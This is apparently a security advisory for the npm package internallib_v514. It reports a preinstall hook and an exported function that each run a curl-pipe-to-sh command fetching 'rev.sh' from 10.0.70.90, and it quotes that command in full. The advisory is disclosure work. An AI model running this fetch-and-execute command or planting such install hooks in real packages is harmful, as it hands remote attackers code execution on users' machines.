🛡️ MAL-2026-13483 — internallib-v514

Malicious code in internallib_v514 (npm)

package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on npm install, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a command function whose body invokes require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh"), providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named rev.sh — consistent with a reverse-shell dropper.
